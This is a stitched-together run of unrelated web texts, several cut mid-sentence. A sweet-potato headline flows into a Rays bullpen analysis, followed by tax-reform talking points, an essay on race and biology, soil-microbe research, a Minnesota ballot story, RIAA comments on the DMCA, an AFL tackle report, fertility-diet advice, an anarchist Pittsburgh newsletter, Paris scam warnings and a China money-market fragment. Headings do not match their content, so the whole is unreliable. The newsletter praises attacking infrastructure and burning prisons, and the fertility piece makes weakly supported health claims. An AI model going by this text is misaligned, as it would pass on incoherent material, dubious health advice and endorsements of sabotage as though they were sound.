This article (How To: Grow 25 Pounds Of Sweet Potatoes In A Bucket) via NB is free and open source. You have permission to republish this article under a Creative Commons license with attribution to the author and TrueActivist.comFollowing a couple of off-season moves from the Tampa Bay Rays VP of Baseball Operations, Andrew Friedman, the Rays bullpen has taken a quite a different appearance -- in a good way.
Much was said about the 2011 bullpen -- assembled by Andrew Friedman almost entirely from scratch after 90% of the Rays' relievers left via free agency. Let us take a gander at how that 2011 bullpen looked near the end of the season:
A couple of notes: First of all, we can notice the Rays do not employ the traditional middle-to-setup-to-closer bullpen pattern. No, not at all. In fact, it is a disservice to Kyle Farnsworth to call him just a closer -- he is in fact much more. He is the Rays' high leverage man -- their highest leverage man.
Farnsworth gets a lot of the saves, but Joe Maddon does not hesitate to use him whenever the game may be on the line -- 9th inning or nay. Next in the arsenal is Joel Peralta, who played fireman. A fireman is like a setup guy, except he comes in whenever Farnsworth needs to be saved for a later inning.
So, if the bases are loaded with nobody out in the 6th, Peralta gets the call. Together, Peralta and Farnsworth sucked up all the spilled juice from the season, and by using his absolute best two relievers far and away the most, Rays manager Joe Maddon was able make a mediocre bullpen do amazing things.
Consider: The Rays had a middle of the pack bullpen ERA of 3.73, but their bullpen FIP (which more accurately tells us how well they pitched) was one of the league's worst at 4.14. On top of that, the Rays 'pen had only 15 losses all season -- second least in the MLB to the Arizona Diamondback (14) and five better |
million American workers among them.
With tax reform, more than 99 percent of these small businesses will face the lowest top marginal tax rate in more than 80 years.
Tax reform will increase investment in the American economy and in U.S. workers, leading to higher growth, higher wages, and more jobs. A 3 to 5 percent increase in GDP growth over 10 years, as the President’s Council of Economic Advisers predicts, could represent as much as $1.2 trillion in economic output.
Quote All told, complying with the tax code costs our economy $262 billion every single year. That's more than $800 for every man, woman, and child in America just to figure out what we owe the government.
The bottom line: The current tax code is a burden on American taxpayers and harmful to job-creators. It has grown so out of control in length and complexity that many Americans must rely on professional help to file even the simplest return. Our outdated code also makes U.S. businesses uncompetitive and incentivizes companies to move abroad or offshore our country’s jobs.
American workers deserve better. Now is the moment to stand up for them.As I’ve written somewhere (but can’t remember where), it always amused me that when I wrote an NIH grant application, I had to specify my “race” (black, Pacific Islander, white, Hispanic, etc.), but then, in the instructions, it said something like “These categories are taken to be social constructs only, and are not biological.”
That statement is palpably false, but comes from the Leftist ideology that if you even talk about races, you’re promoting racism. As an evolutionary biologist interested in human differentiation, I know that the human species isn’t divided into a finite number of well-differentiated genetic groups, but that groups can still be distinguished by combining information from different genes, and that those groups tend to be those that evolved in geographic isolation, telling us something about human evolution. And I’m interested in understanding some of that genetic differentiation, like the processes involved in leading to morphological differentiation in traits like skin color, body configuration, and so on. Is that due to natural selection, sexual selection, or maybe genetic drift? Why do evolutionists pay so much attention to geographic differentiation in animals and plants, but avoid talking about it in Homo sapiens?
The answer, of course, is the ideological view that if you study that kind of differentiation, you’ll be promoting racism. And indeed, that has happened in the past. But I maintain that one can study human geographic variation in a purely evolutionary way, and simply criticize those who try to co-opt that work to set up any kind of racial hierarchy or to promote bigotry. We are, after all, the animal species that most fascinates us.
So when people say “race is a social construct,” they’re simply wrong. The only sense in which they’re right is that the designation of a finite number of easily-distinguished human groups (“races”) is a futile exercise, because we have differentiation within differentiation, making the whole exercise purely subjective. (You can, for example, distinguish subgroups of “Caucasians” within Europe, distinguishing those of Scandinavian from Italian ancestry simply by their genetic differences.)
But that’s not what people mean, I think, by “social construct.” What I think they mean (since they are rarely explicit) is this: “There is no biological difference between human ethnic groups.” That’s just wrong. Or, more plausibly, they mean that groups designated by skin color alone as “races” show no other biological differences that co-segregate with skin color. But that’s not true, either. For one thing, skin color itself is based on genetic differences, ones that (as we’ll see tomorrow) probably evolved by natural selection. And skin color co-segregates with other physical characteristics, as in the group “African Americans.” Finally, there are genetic diseases, like sickle-cell anemia and Tay-Sachs disease, that are more prevalent in some ethnic groups than others, and that is useful biology to know.
I’m writing this because reader Cindy called my attention to an NPR article describing how Brazil is now using skin color to determine who fits into various categories subject to affirmative action boosts. Brazil has “race tribunals” to place people in “racial” groups, and the traits used can include more than just skin color.
The NPR story starts with Lucas Siqueira, who got a coveted government job in Brazil after scoring well on a test and identifying himself as “mixed race.” People looked at his Facebook page, determined he didn’t look “mixed race” but white, and they complained bitterly. The government put his job on hold. The story then gets really bizarre\:
.... in order to “prove” that he was Afro-Brazilian, [Siqueira’s] lawyers needed to find some criteria. He went to seven dermatologists who used something called the Fitzpatrick scale that grades skin tone from one to seven, or whitest to darkest. The last doctor even had a special machine. “Apparently on my face I’m a Type 4. Which would be like Jennifer Lopez or Dev Patel, Frida Pinto or John Stamos. On my limbs I would be Type 5, which is Halle Berry, Will Smith, Beyonce and Tiger Woods,” he said. Like most people he has different skin tones on different parts of his body. But in none of these tests did he come out as lighter skinned. He says the whole thing struck him as completely bizarre because identity, he says, is made up of more than just physical characteristics. [JAC: but to me, the important thing is whether discrimination is based on more than just physical characteristics.] But this wasn’t just an isolated incident. Mandatory for all government jobs A few weeks ago, these race tribunals were made mandatory for all government jobs. In one state, they even issued guidelines about how to measure lip size, hair texture and nose width, something that for some has uncomfortable echoes of racist philosophies in the 19th century. “It is something terrible. I believe this kind of strategy can weaken the support of society for affirmative action policies,” says Amílcar Pereira, an associate professor at the School of Education in the Federal University of Rio, who studies race relations. “These policies have huge support … the majority of Brazilian society supports affirmative action.”
I don’t know what to make of this. Clearly the Brazilian government is not construing race as a purely social phenomenon, since it’s based on differences that are clearly inherited (black couples have black children, and so on), and on not just skin color, but hair texture, nose width, and other traits that do co-segregate based on geographic origin.
In what sense, then, is race a “social construct” in Brazil? If race was purely a social construct with no biology behind it, then you could become benefit from affirmative action simply by declaring that you were a minority, which was what people were accusing Siqueira of. You can declare your gender, after all, so why not your race? But people don’t like the latter, as witnessed by the case of Rachel Dolezal, who declared she was black when she had no African-American genes and was of purely European descent. People wouldn’t accept that, and she was forced to resign as director the NAACP (a black organization) in Spokane, Washington.
But maybe this kind of physical measurement in Brazil isn’t so bad after all. I say this because, historically, discrimination against people was based on physical characteristics—largely skin color, but also the biological co-segregates: hair texture, nose configuration, etc. If you want to remedy discrimination based on those traits, then you find out empirically how that discrimination works, which appearances result in discrimination, and then confer advantages to those with the traits most discriminated against. That’s a purely empirical approach to the problem, and although you can call it a “social construct” approach, you’d be distorting the situation, which involves real biological differences.
In the meantime, I’m still not quite clear what people mean when they say “race” is purely a social construct. As a biologist, I can’t find any interpretation of that claim that makes much sense. But in the meantime, I think we can recognize the biology behind racial classification while still working to dismantle the bigotry that goes along with it. After all, there are medical, scientific, and evolutionary questions that rest on the genetic structure of our species.Organohalogens like perchloroethene and trichloroethene are prominent groundwater pollutants due to their industrial use as dry cleaning and degreasing agents and their widespread release into the environment. Volatile organohalogens like chloromethane strongly influence atmospheric chemistry and thereby Earth's climate by causing ozone depletion when released into the atmosphere. For a long time it was assumed that these compounds are only produced and released by human activity. However, in recent years, over 5,000 naturally-occurring organohalogen compounds have been identified, and evidence suggests that the cycling of halogens e.g. chlorine, bromine in soils is largely driven by microbial processes.
An international team of researchers led by Professor Andreas Kappler from the Center for Applied Geosciences of the University of Tübingen and Professor Sebastian Behrens now affiliated with the University of Minnesota looked into this in more detail. They sifted through the complete genomic inventory of a pristine forest soil in Tübingen, Germany to uncover the diversity, abundance, and distribution of microorganisms capable of transformation of halogenated organic compounds. The researchers found what they were looking for in bacteria, fungi and archaea, a kind of primal bacteria. They discovered a previously unknown diversity of genes encoding for (de)halogenating enzymes in the soil metagenome. The results of this study have been published in Scientific Reports and could provide important information for the chemistry of the atmosphere, evaluation of earth climate and in bioremediation.
Assumptions that halogens are inert and that most halogenated organic matter in soils is anthropogenic have been challenged by findings of naturally formed organohalogens. "Halogenation and dehalogenation of organic matter are part of the normal cycling in soils," Andreas Kappler says. "These processes are mainly driven by microorganisms." Although specific microbial halogenation reactions have been recognized for decades and the link between the dehalogenation of anthropogenic halogenated contaminants in laboratory cultures and contaminated field sites has been well established, only a few studies specifically looked at pristine ecosystems and the genetic potential for microbial degradation of naturally occurring organohalogens, Kappler says.
In their new study, the researchers did not isolate individual organisms from the forest soil, but analyzed the whole gene pool found in the earth, the metagenome. They identified all genes from bacteria, fungi and archaea coding for halogenating and dehalogenating enzymes. The most common of these genes were similar to those found in the genera Bradyrhizobium, Solibacter, Sphingomonas, Burkholderia, Mycobacterium, Mesorhizobium, and Pseudomonas. "The great abundance of these enzymes and of natural organohalogens, respectively, has an important impact," says Andreas Kappler. "Halogens like chlorine or bromine are added to the water as a tracer for the movement of soil-water. If halogens are present naturally, results could be erroneous." Production of organohalogens by microorganisms has to be taken into account for the study of halogen cycling in atmospheric chemistry as well. "We could take advantage of microbial activity in bioremediation of contaminated soils better than before," says Kappler.The Minnesota Republican Party scrambled to have Republican presidential candidate Donald Trump included on the state’s ballot Thursday morning, after learning he was absent.
Trump’s name was added to the Secretary of State’s list of presidential candidates in a last-second move, according to Twin Cities.com.
Keith Downey, chairman of the Minnesota Republican Party, described Trump’s absence on the ballot as a paperwork problem.
Minnesota PR and communications guru Michael Brodkorb, a former Republican operative, sounded the alarm Wednesday night on Twitter.
Question to @MNSteveSimon -> Why is Donald Trump not listed on the sample ballot available on the SOS website? pic.twitter.com/t7F4EvM610 — Michael Brodkorb (@mbrodkorb) August 24, 2016
Brodkorb reported l that a delay on the part of the Minnesota GOP came from the party not electing alternate electors. The party didn’t elect them until Wednesday night in efforts to fix the problem. However, that isn’t allowed in the Minnesota GOP’s Constitution. The filing deadline to appear on the ballot was Aug. 29.
No procedure for #MNGOP state exec to elect/appoint national electors – problem now for #MNGOP in sending Trump’s name to SOS for ballot. — Michael Brodkorb (@mbrodkorb) August 25, 2016
UPDATE: Total confusion among #MNGOP officials on process for Trump being on MN ballot – absolutely possible they could’ve missed deadline. — Michael Brodkorb (@mbrodkorb) August 25, 2016
The Independent conservative presidential candidate Evan McMullin, who is opposing Trump, did make it onto the state ballot. Hillary Clinton, Gary Johnson, Jill Stein, and a number of other third party candidates also successfully filed.
Brodkorb said the Minnesota GOP violated its own rules to have Trump added to the ballot.
UPDATE: Names of presidential electors & alternates in MN…again, #MNGOP did NOT follow law to elect alternates -> pic.twitter.com/4xevynT5Ay — Michael Brodkorb (@mbrodkorb) August 25, 2016
UPDATE: Please note: No date on #MNGOP electors/alternates form. How can Downey "certify"? HUGE legal problems ahead https://t.co/aijVbTGEXj — Michael Brodkorb (@mbrodkorb) August 25, 2016
(Note: This story has been updated.)Cary Sherman, the chairman and CEO of the Recording Industry Association of America, has some choice words about the current state of US copyright law. He says that under the Digital Millennium Copyright Act, rightsholders must play a game of whack-a-mole with Internet companies to get them to remove infringing content.
But that "never-ending game" has allowed piracy to run amok and has cheapened the legal demand for music. Sure, many Internet companies remove links under the DMCA's "notice-and-takedown" regime. But the DMCA grants these companies, such as Google, a so-called "safe harbor"—meaning companies only have to remove infringing content upon notice from rightsholders.
This has allowed legal streaming services to hold the music industry hostage, Sherman said in a recent Forbes editorial.
"Copyright law provides a 'notice and takedown' system theoretically intended to deal with such theft," he said. "In exchange for a legal'safe harbor' from liability, online service providers must deal with instances of theft occurring on their site or network when notified. Unfortunately, while the system worked when isolated incidents of infringement occurred on largely static web pages—as was the case when the law was passed in 1998—it is largely useless in the current world where illegal links that are taken down reappear instantaneously. The result is a never-ending game that is both costly and increasingly pointless."
Sherman added:
Compounding the harm is that some major online music distributors are taking advantage of this flawed system. Record companies are presented with a Hobson’s choice: Accept below-market deals or play that game of whack-a-mole. The notice and takedown system—intended as a reasonable enforcement mechanism—has instead been subverted into a discount licensing system where copyright owners and artists are paid far less than their creativity is worth.
On Wednesday, for example, Ars told a story of songwriter who says he made $5,679 from 178 million Pandora streams.
Sherman went on to say that the notice-and-takedown system is "broken":
But while the music industry has embraced new technology and business models, the beneficiaries of this broken system cling to this antiquated law that was enacted at the turn of the century, well before the modern Internet and today’s most advanced (and unimagined) technologies.
This anti-DMCA argument comes at a time when there's renewed discussion at the federal level about whether Internet companies should play cops. Consider that the US Senate earlier this week scrapped a proposal, adopted in secret, requiring e-mail providers, social media sites, and other Internet companies to report online terrorist activity. Sen. Ron Wyden (D-Ore.) said it wasn't a good idea to "create a Facebook Bureau of Investigations."
It sure seems like Sherman wants to create, at a minimum, a Facebook Bureau of Copyright Investigations.COURTENAY Dempsey’s German suplex would’ve made Kurt Angle proud, but it landed him in hot water on Saturday night at the MCG.
The Essendon speedster was put on report after a dangerous lifting tackle on Deledio during the last quarter of the Bombers’ loss to Richmond.
With the game almost over, Dempsey slung Deledio headfirst to the turf in a scary tackle that resembled a professional wrestling move made famous by Angle.
However the influential Tiger was at least able to leave the ground under his own steam.
WATCH THE VIDEO IN OUR PLAYER ABOVE
“I think the lift is the dangerous (aspect),’’ Richmond coach Damien Hardwick said post-match.
“The sling to me is — be careful how I say this — part of AFL football, but as soon as you lift you’re probably in a little bit of trouble. You probably owe the duty of care.
“I’ve got no doubt Courtenay didn’t mean it, it was just one of those things how we tackle, but now it’s probably changed a little bit with the goalposts moving. I’m just glad everyone walked away OK.’’
Dempsey won’t have fond memories of the game. Not only did he apply the dangerous tackle to Deledio, he finished with a miserly seven disposals in a losing cause.
Richmond players wrestle Courtenay Dempsey after his tackle on Brett Deledio. Source: AAPYou’re already loading up on organic fruits and veggies, staying away from processed foods and making sure you get enough whole grains, lean protein and dairy into your diet, as well as taking a prenatal vitamin for insurance. But can eating certain foods during different phases of your cycle enhance your fertility? Some experts say yes!
“Different phases of the cycle require a woman’s body to produce different hormones and go through separate processes,” says Jill Blakeway, M.S., L.A.c., clinic director at The YinOva Center in New York and co-author of Making Babies: A Proven 3-Month Program for Maximum Fertility. “So if a woman wants to maximize her chances of conceiving, it is possible to eat foods that are advantageous to each phase.”
But since many pre-conception eating recommendations are nothing more than wild Internet rumors, we asked the experts to weigh in on what to actually eat during each of the reproductive phases.
Fertility Foods to Eat During Menstruation
When your period starts to flow, you may feel crampy, bloated, fatigued and moody. You may also be depleting your iron stores. In fact, the average woman loses 30-40 milliliters of blood over the course of three to seven days. “Iron is attached to the red blood cells, so the way you lose it is by bleeding,” says Elizabeth Ward, M.S., R.D., a Boston-area nutrition consultant and author of Expect the Best: Your Guide to Healthy Eating Before, During and After Pregnancy (Wiley 2009).
Menstruation is a good time to remember to focus on foods rich in iron, which the Dietary Guidelines for Americans, 2010 names as a nutrient of real concern among women in their childbearing years. Just don’t view your period as an excuse to load up on double cheeseburgers. “It’s understandable for women who have a failed cycle to indulge—just don’t linger in that place,” says Hillary M. Wright, MEd, RD, LDN, director of nutrition counseling for the Domar Center for Mind/Body Health at Boston IVF and author of The PCOS Diet Plan: A Natural Approach to Health for Women with Polycystic Ovarian Syndrome. “Have an episode, then try to regroup and get back to setting the stage for a successful pregnancy.”
Boost fertility by eating: Meat, beans, fish, leafy green vegetables and seeds. Most of these foods are rich in iron, protein or both, which is especially important if you have endometriosis or bleed heavily. And some (like fish, seeds and leafy greens) have anti-inflammatory properties, which can help mitigate cramps by encouraging healthy blood flow. Another tip: eat plenty of bell peppers, tomatoes, broccoli, kiwi, citrus and other food sources that are high in vitamin C. “Vitamin C helps the body absorb iron from beans, whole grains and fortified cereals,” says Ward.
Steer clear of: Cold foods (if your periods are clotted and painful) and alcohol, caffeine and spicy foods, which can make bleeding even heavier.
Dinner Idea: Steak fajitas with black beans, bell peppers, onions and tomato salsa.
Fertility Foods to Eat During Your Follicular Phase
During the follicular phase, your body is working hard to develop a dominant follicle and estrogen levels are on the rise. Unfortunately, women who are struggling with fibroids and endometriosis often have too much estrogen (a condition called estrogen dominance). “Cruciferous veggies like broccoli, kale, cabbage and cauliflower contain a phytonutrient called di-indolylmethane (DIM), which can help women metabolize estrogen better,” says Blakeway. In fact, DIM binds to environmental estrogens like pesticides and hormones in meat and dairy products, helping rid the body of excess estrogen. Just don’t forget to have some olive oil, avocado, nuts and seeds with those leafy greens. These foods are loaded with vitamin E, which is found in the fluid of the follicle that’s housing your egg.
Boost fertility by eating: Foods that support follicle development like nuts, seeds, green vegetables, legumes, eggs and fish.
Foods that support follicle development like nuts, seeds, green vegetables, legumes, eggs and fish. Steer clear of: Alcohol—it affects hormonal balance. It’s also dehydrating and the loss of water in the body may make cervical mucus too thick, says Blakeway.
Alcohol—it affects hormonal balance. It’s also dehydrating and the loss of water in the body may make cervical mucus too thick, says Blakeway. Dinner idea: Chicken and broccoli stir fry with cashews and brown rice.
Fertility Foods to Eat During Ovulation
As you near ovulation, the body needs plenty of B vitamins and other nutrients to support the release of the egg and promote implantation. “Zinc can help with cell division and progesterone production and vitamin C is found in high quantities in the follicle after the egg is released and may play a role in progesterone production as well,” says Blakeway.
Essential fatty acids (EFAs) are also crucial during this phase. The best source: omega-3s from fish and fish oil supplements. These EFAs are best known for promoting blood flow to the uterus and supporting the opening of the follicle to release the egg, but guess what? They also open up the tiny blood vessels in your nether regions, which can ensure you’re primed and ready for action. “Fish oil thins out your blood and increases circulation to your body parts,” says Wright. Plus, fish oil boosts the testosterone in your body—yes, women have this hormone too—so you may become aroused more quickly. And who among us couldn’t use a little of that when entering the O-zone?
Boost fertility by eating: leafy greens, whole grains, eggs, legumes, meat, fish (or fish oil supplements) and water—lots and lots of water. Water plays a key role in transporting hormone and developing follicles. It also helps thin out cervical mucus, which may make it a little easier for your partner’s swimmers to get to their goal.
leafy greens, whole grains, eggs, legumes, meat, fish (or fish oil supplements) and water—lots and lots of water. Water plays a key role in transporting hormone and developing follicles. It also helps thin out cervical mucus, which may make it a little easier for your partner’s swimmers to get to their goal. Steer clear of: Acidic foods like coffee, alcohol, meat and processed foods, which may make your cervical mucus hostile to sperm. Baby carrots are often touted for maximizing your body’s baby making juices because they’re alkaline (the opposite of acidic). But according to Blakeway, any alkaline foods will do, particularly green vegetables, sprouts and wheatgrass.
Acidic foods like coffee, alcohol, meat and processed foods, which may make your cervical mucus hostile to sperm. Baby carrots are often touted for maximizing your body’s baby making juices because they’re alkaline (the opposite of acidic). But according to Blakeway, any alkaline foods will do, particularly green vegetables, sprouts and wheatgrass. Dinner idea: Cajun salmon and brown rice with a side of spinach sautéed in garlic and olive oil—and a bowl of strawberries and a dark chocolate truffle for dessert. “Chocolate is an aphrodisiac because it can mimic feelings of falling in love,” says Ward.
Fertility Foods to Eat During Your Luteal Phase
Now is the time to load up on nutrients that encourage cell growth. Beta-carotene, which is commonly found in leafy greens as well as yellow and orange foods (e.g., carrots, cantaloupe and sweet potatoes), helps keep your hormones in check and prevents early miscarriage. In fact, the corpus luteum, which helps produce the progesterone necessary to sustain a pregnancy, is loaded with the powerful nutrient.
One food that gets a lot of attention during this phase is pineapple. In addition to beta-carotene, pineapple contains a substance called bromelain, which has been shown to mildly support implantation through its anti-inflammatory properties. “There’s not a lot of research out there for the benefits of eating pineapple during the time of conception, but if you want to hedge your bets, you may benefit,” says Wright. “After all, pineapple is a healthy food with no downside.” Experts discourage taking bromelain as a supplement though because the dose may be too high, and anything that dramatically moves blood during this time could be counter-productive.
Boost fertility by eating: Warming foods like soups and stews. The luteal phase is all about creating higher temperatures to help hold a pregnancy.
Warming foods like soups and stews. The luteal phase is all about creating higher temperatures to help hold a pregnancy. Steer clear of: Cold or raw foods, especially ice cream and frozen yogurt. The luteal phase is a time when you want to promote growth and expansion; cold constricts.
Cold or raw foods, especially ice cream and frozen yogurt. The luteal phase is a time when you want to promote growth and expansion; cold constricts. Dinner idea: A hot and spicy bowl of chili made with lean ground beef and a slice of crusty bread. For dessert: pineapple sorbet.
Think you may be pregnant already? Check out our early signs of pregnancy.Filler – June 2017
“US QUEERS AIN’T FREE TIL THE PRISON WALLS BURN DOWN”
~ photo: banner from an Illegal Queers PGH benefit dance party ~
Every year on June 11th, anarchists and anti-authoritarians from around the world send some love and rage to our comrades who are serving lengthy prison terms. We write letters, we organize poetry readings and movie screenings, we throw parties and benefit shows, we ditch work and school to paint our comrades’ names all across town, we attack state and corporate infrastructure as much for the thrill of it as for the political and strategic implications. On J11, we remember the prisoners of war. With their names on our minds, we face the anxiety and misery of the everyday with just a little more strength, a little more passion… because, like, holy shit, prisons are fucking evil, and maybe our thoughts and actions might just sneak a few rays of light through the bars and help our comrades face another day too.
On that note, a couple of us queer-as-fuck Filler kids want to remind our friends here in Pittsburgh that J11 would never have become the insurgent holiday that it is today without the courage of long-term anarchist prisoner, Marius Mason. Marius is an eco-warrior whose daily life is one of struggle against a state that seeks to control his body on every level, from his incarceration to the undermining of his gender identity. This year, we hope that Pittsburgh will prove that we have not forgotten his struggle.
This year, we hope that Pittsburgh will affirm our complicity in not only Marius’s struggle, but also in the struggles of all who come into conflict with the state and capital. So in the spirit of J11, let’s support our neighbors who are challenging the co-optation of Pittsburgh Pride, organizing to support incarcerated people at the Allegheny County Jail while working towards the jail’s abolition, and rallying to defend their communities against the nationalist reaction. Most importantly, we sincerely hope you remember to indulge your private wars. Do what you need to do to reconnect to life: attack the things you hate, embrace the people and hobbies you love, call in sick and stay at home all day to write letters to the folks on the inside while you binge-watch netflix (or Sub.Media!) – take whatever it is that you love, nurture it, and make it dangerous.
Anyways, below is an (in)complete rundown of some cool shit to do this week.
Welcome home Maxx and Shea. Much love to Top Squat. Shoutout to Torchlight.
Fire to ALL prisons!
Friday, June 9th
ACJ Health Justice Project: From the
This past Saturday, Joel Velasquez-Reyes died at the ACJ, awaiting charges. Velasquez-Reyes is the third death at the ACJ since April, both Jamie Gettings and David Black’s deaths could have been prevented. Join us as we speak truth to power and demand an end to medical neglect and to the Allegheny County Jail. #AbolishACJ #FireTheWarden #NoBarsToHealthcare
Anti-Repression Picnic!
Radicals in Pittsburgh are facing an unprecedented wave of repression: hundreds of felony charges, several eviction threats, etc. etc. etc….so some folks decided it’d be fun to get together and celebrate our struggles over some vegan food! We’re in this together, so let’s soak up some sun together (weather depending).
If you or your comrades and accomplices are feeling the heat, ask around or hit us up for the time and location!
Click HERE to donate to various legal defense funds.
Saturday, June 10th
People are asking if they should be boycotting CERTAIN Pittsburgh Pride events, which we feel would be ineffective since –
1. Most non-profit orgs spent time and energy raising money to participate in what should be a free event, and have the right to get value for that cost (since obviously no refunds will be given).
2. It’s counterproductive to miss out on the opportunity to reach out to the community non-profit orgs are trying to serve.
3. The presence of a few individuals or a small organization might not be missed, but showing UP will show strength in numbers, which also sends the larger message of how many LGBTQ+ individuals, supporters, and allies there are in Pittsburgh (which is one of the actual reasons to have Pride events in the first place).
4. It’s not fair to every single person who worked hard and waited all year to come together with their community only to feel guilty or bad for participating. Instead we are going to show SIGNS OF RESISTANCE. We invite everyone to “GREY OUT RAINBOW CAPITALISM” and show solidarity, strength and unity by wearing GREY tshirts, armbands, hats, bandanas, suits, socks- whatever. WEAR YOUR GREY and spread the message that although you might be in the parade, or at the event, YOU ARE NOT IN LINE with the organizers of the EQT-sponsored march. We will be showing up for what PRIDE means to YOU and not we are being told it should mean. GRAB SOME GREY AND SPREAD THE WORD.
Our Pride should not be about who can pay the highest price.
Pride is political. Pride should be for everyone. Pride needs to be inclusive, intersectional and wholly accessible to all. Pride should be free (for non-profits to participate specifically, not necessarily food, drinks/specialty events). Pride should be a celebration of how far we have come from the time we were forced to live in a closet. Pride should be a reflection of our history as well as an effort to move forward. It is up to us as a community to make the change.
Be proud, come on out and join your community at (mostly) free, local, independent Pride events:
Veil of Remembrance– Steel City Sisters
Roots Pride: Final Edition with Junglepussy & Co.
Freedom! Renaissance City Choir Pride Concert
Express Yourself: A Resistance Workshop with Hello Mr.
Smoke and Mirrors OUT Loud Kick-Off: Reflections Meal
Smoke and Mirrors-Penn OUT Loud Art Crawl
Queer Craft Market
Free Pride Shorts
Peoples Pride March 2k17
[ https://www.facebook.com/events/111478759443101 ]
Hosted by ACJ Health Justice Project Join the ACJ Health Justice Project in our first screening of No Bars to Healthcare-A grassroots effort to end abuse at one county jail. For more than two years, the Health Justice Project has been collecting stories and evidence against the medical neglect and abuse at the Allegheny County Jail (ACJ). This film offers a snapshot of some of those stories. It is a film that will move you, make you angry, and, above all, challenge you to envision a future without the ACJ. We will screen the film and facilitate a discussion on prison and jail abolition afterward.
*Suggested $5-10 donation, no one turned away.
*Childcare available
*This facility is not wheelchair accessible
If you can’t make this screening, we will have another in July-stay tuned! [ https://www.facebook.com/events/563199634068925 ]
Sunday, June 11th
JUNE 11TH MARCH & PICNIC
UNTIL EVERYONE’S FREE BENEFIT
Wednesday, June 14th
Pittsburgh has a deep and rich social movement history. While we our city is probably best known as the cradle of the American labor movement, important moments in the civil rights, women’s movement, and environmental movement have all played out in Pittsburgh. And Pittsburgh’s social movement legacy isn’t just distant history. In recent years, Pittsburghers played a significant role in the opposition to the wars in Iraq and Afghanistan. When the G20 came to our city we rose against the corrupt and unjust policies that led to the financial crisis. We occupied People’s Park for months, we took to the streets again and again to stand up against racist policing, and we were the first city in the country to ban fracking. Join us on June 14th to take a look at Pittsburgh’s deep and rich social movement history and tease out the lessons our past can share with today’s movements.
Mijente in Pittsburgh: Community Dinner + Discussion
You’re invited to join us for a night of food and discussion about key topics that are important to the Latinx community in Pittsburgh as well as nationally with Mijente. Mijente is a national political home for on the ground and digital Latinx organizing. In this political moment, the hate and the attacks against Latinx and immigrant communities are being widely felt. We know that there are a lot of questions, a lot of fear and a lot of pain. At the same time we know that the only safe community is an organized one. Some of the best ways to win and resist the attacks coming from the white house are to fight back and organize. Join us for an evening of community building and discussion w/ Mijente as well as local leaders from Casa San Jose. Están invitadxs a una cena y platica comunitaria donde hablaremos sobre temas importantes para la comunidad Latinx en Pittsburgh y también a nivel nacional con el grupo Mijente. Mijente es un hogar politico a nivel nacional con membresía de gente Latinx y que se enfoca en la organización comunitaria. En este momento politico el odio y los ataques en contra la comunidad Latinx e inmigrante son fuertes. Sabemos que hay muchas preguntas, mucho miedo y mucho dolor. Al mismo tiempo, sabemos que la una comunidad realmente segura es una comunidad organizada. Solo luchando podremos ganar y resistir los ataques que vienen de la casa blanca. Vengan a compartir y platicar en comunidad para seguir creciendo nuestro poder y conocimiento con Mijente y lideres de Casa San Jose.
[ https://www.facebook.com/events/289897328087978 ]
THIS SUMMER, Port Authority plans to have ARMED police Officers checking fare payment on the T…..
We demand that the Port Authority delay implementation of this policy until we have a PUBLIC process, a commitment NOT to work with ICE, and a commitment of NO arrests or criminal charges for “fare evasion.”
Join Pittsburghers for Public Transit, Casa San Jose, the Alliance for Police Accountability and the Thomas Merton Center to find out how to get involved to stop the criminalization of transit riders.
Proceeds go to the touring bands, expenses, and donations to the O.W.L. Non-Profit to help with expenses for the property (garden supplies, raising chickens, water sources, etc) Music! Food! Art! Poetry! Workshops! Zines! Sideshows! Fire Performance! Good Folks!
MUSIC LINE-UP:
============== Out of Towners: Rail Yard Ghosts (USA)
Mama’s Broke (Canada)
Breaking Glass (NYC)
Erica Russo (Asheville, NC)
Ricky Steece (NOLA)
Endless Mike (Johnstown, PA)
Nomad Mountain Outlaws (USA)
#Trashhags Tradhaggis (USA)
Michael Character (Boston)
Roaming Bear (Waukegan, IL)
Mud Guppies (Philly)
River Bucket (Missouri)
Canadian Waves (Columbus, OH)
Chessie and the Kittens (DuBois, PA)
Cowabunga Breakfast (DuBois, PA)
Rent Strike (USA)
Conor Brendan and the Wild Hunt (USA) Loc |
, have dropped by 25 per cent in 2014 compared to the same nine-month period in 2013.
The petition can also be used as a distraction tactic while a partner pickpockets the tourists’ wallets or purses.
‘When in Paris, do not sign petitions,’ the man warns. ‘Ignore these individuals.’
The man also warns visitors that the scammers typically first ask if you speak English so that they can ascertain whether you’re a tourist, as opposed to a French-speaking local.
Earlier this month the Chinese embassy in Paris urged tourists to stay off commuter trains that run between central Paris and France's Charles de Gaulle Airport.
According to officials, there have been an unusually high number of robberies on the RER B trains since February.
The RER service has long had a reputation for being a crime hotspot, but, thankfully, according to the Paris police, tourist muggings are down eight per cent over the last year.
Every year foreign visitors are tricked out of small change or, worse, find themselves in dangerous situations or the victims of crime.
Eventually, after pushing the pen toward him several times, she gives up and walks off in a huff
While this is by no means a warning against travel, being prepared and on guard can go a long way to evading confidence tricksters, wily locals and credit card bandits.
Foreign Office advice for travelling to France Take sensible precautions against street and car crime. Don’t keep your passport, credit cards and other valuables in the same place; use the inside compartments in bags where possible. Carry your bag across your body rather than on your shoulder. Don’t be distracted around tourist attractions and cash points. Pickpockets can work in gangs: one to distract you while the other one goes into your bag. Keep your belongings close to you in restaurants and bars. Be aware of common scams used to obtain money from tourists, there are petition, 3 card trick and gold ring tricks which are all to be avoided, more information can be found here. Thieves and pickpockets operate on the Paris underground, RER lines and at mainline stations, for example Gare du Nord. There have been several victims of serious assault on the RER line B, which serves Paris Charles de Gaulle and Orly airports and Paris Gare du Nord Eurostar terminus. There have also been serious assaults on RER line D, which serves the Stade de France.
Peter John, author of Around the World in 80 Scams, covers some of the top cons in his book, and adds in handy advice on how to avoid any trouble.
For many of the scams, he believes the best advice is simply to walk away.
On distraction muggings the perpetrators aim to distract you while they rob you. For example, a woman with what looks like a baby – it very often is just a doll or bundle of clothes – walks up to you and makes pleas for money for her baby.
She might throw it at you too and insist you hold him/her/it for a moment.
By the time you've got rid of her you'll notice your pockets have been pilfered by her accomplice.
Mr John says: 'People can be distracted in any number of ways – from spraying mustard or tomato sauce onto the victim's cloths to asking for directions.'
The battle to curb thefts and mugging in Paris in an ongoing one, but officials are constantly developing new programmes to counter these.
The 26-point strategy (see box above) is focusing on Eastern European gangs, who were believed to be responsible for much of the thefts from tourists.Money market rates in China climbed again last week, prompting more worries of a deja vu of June’s cash crunch that spooked global markets. That was when the Shibor—the Shanghai interbank offering rate, which tracks the interest rates banks charge each other—soared, reminding many of the Libor leap that happened just before Lehman’s demise in 2008.
